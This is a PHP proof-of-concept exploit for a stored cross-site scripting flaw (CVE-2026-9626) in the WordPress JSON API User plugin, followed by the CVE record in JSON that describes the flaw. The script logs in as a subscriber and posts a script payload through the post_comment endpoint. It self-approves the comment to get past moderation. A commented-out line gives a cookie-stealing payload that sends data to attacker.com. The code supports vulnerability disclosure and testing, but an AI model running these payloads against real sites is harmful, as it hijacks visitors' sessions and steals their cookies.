CVE-2026-9626

<?php /** * PoC for CVE-2026-9626 - Stored XSS in JSON API User Plugin * Target: WordPress JSON API User Plugin <= 4.1.0 * Vulnerability: Un sanitized comment_content in post_comment() function * * Usage: Execute this script with valid subscriber credentials * to inject malicious JavaScript via the post_comment API endpoint. */ // Target WordPress site $target_url = 'https://target-wordpress-site.com'; // Authenticated session (requires subscriber-level access) $username = 'subscriber_user'; $password = 'user_password'; // Step 1: Authenticate and obtain nonce/session // First, log in via wp-login.php to get cookies $login_url = $target_url . '/wp-login.php'; $post_data = http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to'=> $target_url . '/wp-admin/', 'testcookie' => '1', ]); $ch = curl_init($login_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); curl_close($ch); // Step 2: Extract nonce from a page (e.g., get a nonce from the post page) // The JSON API User plugin endpoint requires authentication $api_url = $target_url . '/wp-json/json-api/user/post_comment/'; // Malicious payload - JavaScript that will be stored and executed $malicious_payload = '<script>alert("XSS by CVE-2026-9626: " + document.cookie);</script>'; // More dangerous payload example: // $malicious_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie);</script>'; // Step 3: Submit the malicious comment via the vulnerable API endpoint $comment_data = http_build_query([ 'post_id' => 1, // Target post ID 'comment_content' => $malicious_payload, 'comment_approved'=> 1, // Self-approve to bypass moderation ]); $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $comment_data); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/x-www-form-urlencoded', ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "HTTP Status: $http_code\n"; echo "Response: $response\n"; echo "Malicious comment submitted. When any user views the page, the XSS payload will execute.\n"; ?>

{"cve": {"id": "CVE-2026-9626", "sourceIdentifier": "[email protected]", "published": "2026-07-03T06:16:23.123", "lastModified": "2026-07-03T06:16:23.123", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JSON API User plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content' parameter of the post_comment API endpoint in versions up to, and including, 4.1.0 This is due to insufficient input sanitization in the post_comment() function, which passes the attacker-controlled comment_content value directly to wp_insert_comment() without applying any HTML sanitization, and additionally allows the caller to set comment_approved=1 to self-approve the comment and bypass moderation. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "parorrey", "product": "JSON API User", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "4.1.0", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/json-api-user/tags/4.1.0/controllers/User.php#L1007", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/json-api-user/tags/4.1.0/controllers/User.php#L979", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/json-api-user/tags/4.1.0/controllers/User.php#L995", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3576431/json-api-user/trunk/controllers/User.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fjson-api-user/tags/4.1.0&new_path=%2Fjson-api-user/tags/4.1.2", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c41b0370-2881-4053-98b1-9c70251a3b63?source=cve", "source": "[email protected]"}]}}